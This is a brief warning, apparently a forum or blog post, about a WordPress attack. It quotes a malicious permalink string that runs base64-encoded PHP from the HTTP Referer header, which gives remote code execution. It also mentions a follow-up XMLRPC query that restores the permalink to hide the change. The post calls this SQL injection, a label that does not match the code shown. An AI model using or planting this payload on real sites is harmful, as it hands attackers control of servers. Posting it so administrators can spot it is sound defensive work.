WordPress SQL injection hack: watch for=> %&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/

after code is executed there must be a second XMLRPC query that will reset back your permalink structure.